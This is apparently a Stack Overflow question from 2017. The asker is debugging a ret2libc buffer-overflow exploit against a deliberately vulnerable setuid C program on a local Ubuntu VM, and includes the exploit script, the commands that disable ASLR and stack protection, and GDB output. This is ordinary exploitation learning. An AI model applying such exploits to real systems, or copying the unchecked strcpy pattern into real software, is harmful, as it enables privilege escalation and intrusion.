Open a shell from buffer overflow


I have to open a shell in a c program with a exploit python script. I am using a Ubuntu VM to do this.

The c program:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
   char buf[256];

   strcpy(buf, argv[1]);
   printf("%s\n", buf);

   return 0;

So far I have created an

#!/usr/bin/env python
import struct

padding = "A"*(10)+"B"*(10)+"C"*(10)+"D"*(10)+"E"*(10)+"F"*(10)+"G"*(10)+"H"*(10)+"I"*(10)+"J"*(10)+"K"*(10)+"L"*(10)+"M"*(10)+"N"*(10)+"O"*(10)+"P"*(10)+"Q"*(10)+"R"*(10)+"S"*(10)+"T"*(10)+"U"*(10)+"V"*(10) +"W"*(10)+"X"*(10)+"Y"*(10)+"Z"*(7)
system = struct.pack("I", 0x0000060d)
return_after_system = "AAAA"
bin_sh = struct.pack("I",0xf7f61e8b)
print padding + system + return_after_system + bin_sh

I found the /bin/sh address and I verified it was the correct address then I packed the structs.

I run the following commands before I run the code to compile it and such

sudo sysctl -w kernel.randomize_va_space=0
gcc -m32 -g -fno-stack-protector -o vulnerable -z execstack vulnerable.c
sudo chown root:root vulnerable
sudo chmod u+s vulnerable

Then I run the program like so

./vulnerable `python`

However it just outputs the following without the shell


The following is what I got from GDB for the vulnerable program

0x000005b0 <+0>:    lea    ecx,[esp+0x4]
0x000005b4 <+4>:    and    esp,0xfffffff0
0x000005b7 <+7>:    push   DWORD PTR [ecx-0x4]
0x000005ba <+10>:   push   ebp
0x000005bb <+11>:   mov    ebp,esp
0x000005bd <+13>:   push   ebx
0x000005be <+14>:   push   ecx
0x000005bf <+15>:   sub    esp,0x100
0x000005c5 <+21>:   call   0x480 <__x86.get_pc_thunk.bx>
0x000005ca <+26>:   add    ebx,0x1a06
0x000005d0 <+32>:   mov    eax,ecx
0x000005d2 <+34>:   mov    eax,DWORD PTR [eax+0x4]
0x000005d5 <+37>:   add    eax,0x4
0x000005d8 <+40>:   mov    eax,DWORD PTR [eax]
0x000005da <+42>:   sub    esp,0x8
0x000005dd <+45>:   push   eax
0x000005de <+46>:   lea    eax,[ebp-0x108]
0x000005e4 <+52>:   push   eax
0x000005e5 <+53>:   call   0x418
0x000005ea <+58>:   add    esp,0x10
0x000005ed <+61>:   sub    esp,0xc
0x000005f0 <+64>:   lea    eax,[ebp-0x108]
0x000005f6 <+70>:   push   eax
0x000005f7 <+71>:   call   0x420
0x000005fc <+76>:   add    esp,0x10
0x000005ff <+79>:   mov    eax,0x0
0x00000604 <+84>:   lea    esp,[ebp-0x8]
0x00000607 <+87>:   pop    ecx
0x00000608 <+88>:   pop    ebx
0x00000609 <+89>:   pop    ebp
0x0000060a <+90>:   lea    esp,[ecx-0x4]
0x0000060d <+93>:   ret 

I think the system variable in the file does not have the correct address but I do not know what the correct address is to change the base pointer and return address. I feel like I have the correct number of padding variables because when I ran the GDB it listed the ebp and eip as 0 when the program ended with padding alone

eax            0x0  0
ecx            0xffff005a   -65446
edx            0xf7fba870   -134502288
ebx            0x0  0
esp            0xffff005a   0xffff005a
ebp            0x0  0x0
esi            0xf7fb9000   -134508544
edi            0xf7fb9000   -134508544
eip            0x0  0x0
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I would love any tips or suggestions I have been following youtube guides and other online resources but I am having trouble figuring it out. Thank you!

asked on Stack Overflow Jun 12, 2017 by anon • edited Jun 12, 2017 by anon

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